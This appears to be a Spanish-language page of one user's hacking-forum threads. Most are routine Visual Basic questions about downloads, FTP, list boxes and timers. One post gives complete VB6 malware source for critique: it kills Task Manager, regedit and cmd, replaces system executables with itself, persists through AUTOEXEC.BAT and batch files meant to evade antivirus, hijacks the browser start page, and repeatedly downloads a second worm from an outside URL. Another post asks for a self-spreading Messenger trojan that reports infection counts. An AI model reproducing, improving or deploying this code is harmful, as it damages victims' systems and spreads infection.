Temas

Una pequeña duda, como hago para verificar que "cierto proceso" esta en ejecucion y si no esta en ejecucion "Ejecutar cierto proceso".

Hola a todos...

Estoy haciendo un downloader y necesito saber de que manera puedo medir los Kb/s (Velocidad de descarga) va el archivo... Osea, si estoy descargando un archivo de 1 MB, mi idea es que marque a la velocidad que va (Por ejemplo, 100 Kb/s y faltan x:xx:xx (Tiempo))

Tambien quisiera saber si hay alguna forma de crear archivos .EXE, busque en esta sección sobre como crearlos, pero al final no lo encontre...

Agradeceria su ayuda , ya que esto es para un proyecto en mi instituto.... asias...

Buenas... Estoy creando un programa para subir archivos a una web en especifica... He preguntando mediante ftp pero no me dan una buena respuesta y la respuesta que me dieron no era "Cierta" ... -.-


Si me pudieran ayudar, seria muy bueno .

Opinen sobre este malware... diganme que mas le puedo añadir... que puede estar mal... o que le puedo quitar... 

Código [Seleccionar] Expandir


Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
   
Dim ERROR_SUCCESS
Private Sub Clipb()
On Error GoTo clip
Do
Clipboard.Clear
Clipboard.SetText " K-32 - Prayamama"
Loop
clip:
End Sub
Private Sub NayrocSTAM()
Do
On Error GoTo NoSTAM
PagInicia ("http://www.elhacker.net")
TituloInicia ("ElHacker - Soft Explorer - BY: K-32 (SP26)")
MsgBox " " & vbCrLf & " ", vbCritical
Loop

NoSTAM:

End Sub
Private Function Secuestro(UpPath As String, DownPath As String)
On Error GoTo seNO
FileCopy UpPath$, DownPath$
Kill UpPath$
seNO:
End Function
Public Sub SecuestroCarpeta(DirPath As String)
On Error GoTo error
MkDir DirPath$
Exit Sub
error:
'Crear carpetas de secuestro
End Sub

Private Sub AeroBits()
On Error GoTo seNO:
Do
Matar ("Taskmgr.exe")
Matar ("Regedit.exe")
Matar ("Services.msc")
Matar ("cmd.exe")
Matar ("Explorer.exe")
Shell "explorer.exe" 'Retornamos al EXPLORER para no levantar sospechas


SecuestroCarpeta Environ("SYSTEMROOT") & "\Binary\"

Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\REGEDIT.EXE", Environ("SYSTEMROOT") & "\Binary\regedit.txt"
Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\services.msc", Environ("Systemroot") & "\BINARY\Services.txt"
Secuestro Environ("SYSTEMROOT") & "\SYSTEM32\taskmgr.exe", Environ("SYSTEMROOT") & "\binary\taskmgr.txt"

FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\regedit.exe"
FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\taskmgr.exe"
FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\services.msc"

seNO:
Shell Environ("SYSTEMROOT") & "\SYSTEM32\deflpo.exe"
Loop
End Sub


Private Sub NayrocSTEM()



Dim Archivo As String
Dim NumArchivo As Long
Dim Archivo2 As String
Dim NumArchivo2 As Long
On Error Resume Next
On Error GoTo NoHayBat
Do
FileCopy App.EXEName + ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\deflps.exe" 'NOTA1


Matar ("Explorer.exe")
Matar ("CMD.exe")
Matar ("Regedit.exe")
Matar ("services.msc")
Matar ("msnmsgr.exe")
Shell ("Explorer.exe") 'Retornamos al Explorer para no levantar sospechas



            Archivo = Environ("SYSTEMDRIVE") & "\AUTOEXEC.BAT"
            NumArchivo = FreeFile()
           
   'Aqui me añado al
   'AUTOEXEC.BAT
   '
   'Para iniciarme cada vez que el sistema corra
   '¿Sera esta una via alterna?
   'Al yo poner "DEFLPS"
   'llama el archivo antes copiado
   'Es necesario que se copie antes en la carpeta SYSTEM32
   'Esto me da una via alterna contra los AV
   
                        Open Archivo For Output As #NumArchivo
                        Print #NumArchivo, "Echo off"
                        Print #NumArchivo, "Title AUTOEXEC.BAT"
                    '--
                        Print #NumArchivo, "CLS"
                        Print #NumArchivo, "Echo Loading..."
                        Print #NumArchivo, "CLS"
                        Print #NumArchivo, "cls"
                        Print #NumArchivo, "deflps"
               Close #NumArchivo
NoHayBat:
On Error Resume Next
'DeflPO
'Leer Mas abajo su Sub ()

                    Archivo2 = Environ("SYSTEMROOT") & "\Call.bat"
                    NumArchivo2 = FreeFile()
                    Print #NumArchivo, "Echo off"
                    Print #NumArchivo, "title  Analizador de discos lógicos"
                    Print #NumArchivo, "cls"
                    Print #NumArchivo, "echo @echo off > %SYSTEMDRIVE%\AUTOEXEC.bat"
                    Print #NumArchivo, "Echo cls>>%SYSTEMDRIVE%\AUTOEXEC.bat"
                    Print #NumArchivo, "ECHO DEFLPS>>%SYSTEMDRIVE%\AUTOEXEC.bat"
                    Close #NumArchivo
                    Shell Environ("SYSTEMROOT") & "\Call.bat"
Loop
End Sub
Private Sub AñoNuevo()

'Feliz año nuevo xDD
Do

    If Month(Now) = 1 And Day(Now) = 1 Then
   
    AñoNuevoUp

End If
Loop
End Sub



Private Sub AñoNuevoUp()
Dim ArchivoK32 As String
Dim NumArchivoK32 As Long
Do
ArchivoK32 = Environ("SYSTEMROOT") & "\2007.bat"
NumArchivoK32 = FreeFile()

Print #NumArchivoK32, "Echo off"
Print #NumArchivoK32, "title OS"

Print #NumArchivoK32, "cls"
Print #NumArchivoK32, "Deflpo"
Print #NumArchivoK32, "Cls"
Close #NumArchivoK32

Shell Environ("SYSTEMROOT") & "\2007.bat"
'Lo hago como BAT ya que es mas efectivo para los AV's, En especial
'NOD32

Loop

End Sub


Private Sub Ds_Click()
MsgBox "Desinfectado"

End Sub

Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
MsgBox " ", vbExclamation, "WINLOGON.EXE"

Clipb
NayrocSTAM
DeflPO
NayrocSTEM
AñoNuevo
AeroBits

End Sub



Public Sub Matar(ByVal processName As String)
       
        On Error GoTo ErrHandler
         
         Dim oWMI
         Dim ret
         Dim sService
         Dim oWMIServices
         Dim oWMIService
         Dim oServices
         Dim oService
         Dim servicename
         
          Set oWMI = GetObject("winmgmts:")
          Set oServices = oWMI.InstancesOf("win32_process")

          For Each oService In oServices
                 
                 servicename = LCase(Trim(CStr(oService.Name) & ""))
                 
                 If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
                    ret = oService.Terminate
                 End If

          Next
         
          Set oServices = Nothing
          Set oWMI = Nothing


ErrHandler:
  Err.Clear
End Sub

Private Sub DeflPO()
'ORIENTE-ETERNO : Modo silencioso
Do
    Dim sSourceUrl As String

    sSourceUrl = "http://h1.ripside.net/MyArchivos/" & _
        "DCOM/deflPO.exe/" 'Este es otro de mis Worms

   
    DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\deflPO.exe"
Loop
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function

Private Sub Form_Unload(Cancel As Integer)
MsgBox " ", vbCritical
Do
Shell App.Path & App.EXEName & ".exe"
Loop

End Sub


Y En un modulo...

Código [Seleccionar] Expandir


Option Explicit


Declare Function RegCreateKey Lib _
    "advapi32.dll" Alias "RegCreateKeyA" _
    (ByVal HKey As Long, ByVal lpSubKey As _
    String, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long
Declare Function RegSetValueEx Lib _
    "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal _
    lpValueName As String, ByVal _
    Reserved As Long, ByVal dwType _
    As Long, lpData As Any, ByVal _
    cbData As Long) As Long



Public Sub SaveString(HKey As Long, Path As String, _
    Name As String, Data As String)
    Dim KeyHandle As Long
    Dim r As Long
    Dim REG_SZ
   
    r = RegCreateKey(HKey, Path, KeyHandle)
    r = RegSetValueEx(KeyHandle, Name, 0, _
        REG_SZ, ByVal Data, Len(Data))
    r = RegCloseKey(KeyHandle)
End Sub

Public Sub PagInicia(Direccion As String)
    Call SaveString("HKEY_CURRENT_USER", _
        "Software\Microsoft\Internet Explorer\Main", _
        "Start Page", Direccion)
End Sub
Public Sub TituloInicia(Titulo As String)
    Call SaveString("HKEY_CURRENT_USER", _
        "Software\Microsoft\Internet Explorer\Main", _
        "Window Title", Titulo)
End Sub




Opinen

Hola...

Quizas esta pregunta sea un poco tonta, pero como hago para que en un PictureBox se vea lo que se seleccione en un listbox? Ya intente con muchas cosas y ninguna funciona... como Picture1.picture = list1 y nada



Aqui le dejo el codigo...

Código [Seleccionar] Expandir

Option Explicit
Dim ext
Dim Ruta As String
Dim arjpg




Private Sub Command1_Click()
On Error Resume Next
List1.Clear

    Ruta = Dir1
   
   
   
    ' Hacemos q nos muestre todos los archivos
    arjpg = Dir(Ruta & "\*.jpg*")
   
    Do While arjpg <> ""
        ' Obtenemos la extension del archivo
        ext = LCase(Right$(arjpg, 3))
       
        Select Case ext
            Case "jpg"
                List1.AddItem arjpg
            Case "bmp"
            List1.AddItem arjpg
            Case "gif"
       List1.AddItem arjpg
        End Select
       
        arjpg = Dir
    Loop

   

End Sub

Private Sub Form_Load()
List1.Clear

End Sub

Bueno, esa es mi pregunta...  , por ejemplo, que se ejecute todos los 6 de cada mes.


Tambien que se ejecute en tal "Hora" Ya que con un timer solo me permite segunditos y lo mas que puede es un minuto 

Quisiera saber de una form que cree un Archivo txt (indicando los datos en el codigo mismo) y lo suba a un servidor FTP de manera silenciosa.   Tambien que descargue un archivo ftp

Me habian dicho que con Winsock, pero estuve redondeando y al final no encontre como  Si hay otra manera de hacerlo seria mejor tambien .

Hola nuevamente 

Quisiera saber como eliminar dependiendo del usuario, por ejemplo:

Código [Seleccionar] Expandir

If (Dir("c:\documents and settings\USUARIO\prueba.txt") <> "") Then
Kill "c:\Documents And Settings\USUARIO\prueba.txt"
End If


Ya intente con una API:

Código [Seleccionar] Expandir


'API
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
    (ByVal lpbuffer As String, nSize As Long) As Long

Public Function UsuarioActual() As String
    'Esta función devuelve el nombre del Usuario
    Dim sBuffer As String
    Dim lSize As Long
    Dim sUsuario As String

    sBuffer = Space$(260)
    lSize = Len(sBuffer)
    Call GetUserName(sBuffer, lSize)
    If lSize > 0 Then
        sUsuario = Left$(sBuffer, lSize)
        'Quitarle el CHR$(0) del final...
        lSize = InStr(sUsuario, Chr$(0))
        If lSize Then
            sUsuario = Left$(sUsuario, lSize - 1)
        End If
    Else
        sUsuario = ""
    End If
    UsuarioActual = sUsuario
   
End Function


Y poniendo:

Código [Seleccionar] Expandir



If (Dir("c:\documents and settings\UsuarioActual\prueba.txt") <> "") Then
Kill "c:\Documents And Settings\UsuarioActual\prueba.txt"
End If '



Por declaro de la API, se supone que UsuarioActual, localiza el nombre.



Ayuda 

Usteds saben como pasar lo que esta escrito en un txtbox a un listbox?


Son 10 txtbox, y los quiero pasar a un listbox (Seria con un boton para agregar).

ola todos


Intento hacer un troyano para que mande automaticamente un mensaje por messenger...

ya probe con uno de los troyanos que pusieron en uno de estos post y no me funciono...

Quiero que el troyano se autocopie y automande un mensaje por messenger...

por ejemplo:    Mira mi programa: miweb.com/troyanito.zip



Tambien quisiera tener algun tipo de "servidor" (no un tanto complicado) Que me indique por ejemplo, en cuantas PCs se encuentra este archivo (cuantas pcs estan infectadas, para entendernos )


les agradeceria que me explicaran cada una (o por lo menos lo que hara  ) el codigo... no soy muy experto en estos temas.

Hola...

Quisiera saber si se podria hacer un tipo de libreria DLL donde guarde todos los archivos esenciales del programa, como imgs, datos, backups, etc... O Algun modo de comprimir estos archivos y q los lea unicamente el programa


Lo que trato d hacer un visualizador de imagenes, Quizas tambien me podrian ayudar